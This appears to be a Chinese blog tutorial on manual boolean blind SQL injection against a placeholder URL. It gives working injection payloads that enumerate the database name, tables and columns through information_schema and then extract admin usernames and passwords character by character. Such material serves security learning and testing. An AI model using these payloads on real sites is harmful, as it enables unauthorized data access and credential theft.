布尔盲注手注

布尔盲注
mid(str,1,3)字符串截取 意思就是把str这个字符串从第一个字符串开始,截取前三个显示
substr()这个函数和上面的用法一样,也是用来截取字符串的
ORD()转换成ascii码
Length()统计长度
version()是查看数据库版本
database()查看当前数据库名
user() 查看当前用户

猜解数据库名字的时候可以使用ORD(mid(database(),1,1))>1这种截取当前数据库的名字的第一个字符将其转换为ascii码来查看,如果不转换为ascii的话,他可能就是字符,数字和特殊字符,太难猜了。

当进行sql注入的时候:
例如www.aaa.com/a.php?id=1,在这个地方进行过测试后,发现这个get型有注入点后,可以使用www.aaa.com/a.php?id=1’ and (length(database()))>5 --,这种来爆破当前数据库名称的长度,例如当>7页面返回正常,>8页面返回不正常,所以当前数据库名称的长度为8。

然后我们就需要去一个个的爆破数据库名称,www.aaa.com/a.php?id=1’ and ascii(substr(database(),1,1))>100来猜测字母,这个测试出来的是第一个字母的ascii的值,www.aaa.com/a.php?id=1’ and ascii(substr(database(),2,1))>100测试的就是第二个字母了。

第三步就是来爆破当前数据库有多少个表,例如www.aaa.com/a.php?id=1’ and (select count(*)from information_schema.tables where table_schema=database())>1–
来猜测表的数量。

当得知表的数量以后我们肯定就要去爆破表的名称,爆破表的名称和上面爆破数据库的名称一样,就是一个个的爆破字母,首先要得知表名的长度,例如www.aaa.com/a.php?id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5,limit限制的是我们提取的是第一个表的长度,也就是0的意思,后面1的意思是第一个表的意思。
开始测试第一个表的第一个字母,例如www.aaa.com/a.php?id=1’ and (select ascii (substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>100 --,然后就是把0换为1就是第二个表的第一个字母开始爆破,然后爆破账号密码都是按照这个模式进行爆破的.

截取当前数据库用户名的第一位字符并返回其ascii值
www.aaa.com/a.php?id=1’and (select ascii(substring((select user()),1,1))=119) –

有了管理表名,下一步就该把该表中的所有字段名都查出来了,依旧是上面的方法
查询’tabl_admin_user’表中的第一个字段名的第一位字符,并返回其对应的ASCII码值,最后确认实际的账号密码字段名分别为’admin_username’,’admin_password’
http://www.aaa.com/a.php?id=1’ and (select ascii(substring((select column_name from information_schema.columns where table_name=0x74626c5f61646d696e5f75736572 limit 0,1),1,1))=97) %23

10,现在管理表名字段名都有了,下一步只需要慢慢把每个字段对应的实际数据查出来即可

获取’admin_username’字段下的第一条记录的第一位字符,并返回其对应的ASCII码值,依次递增,查出完整用户名即可
http://www.aaa.com/a.php?id=1’ and (select ascii(substring((select admin_username from tbl_admin_user limit 0,1),1,1))=119) %23
获取’admin_password’字段下的第一条记录的第一位字符,并返回其对应的ASCII码值,依次递增,查出完整密码数据即可
http:www.aaa.com/a.php?id=1’ and (select ascii(substring((select admin_password from tbl_admin_user limit 0,1),1,1))=49) %23

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值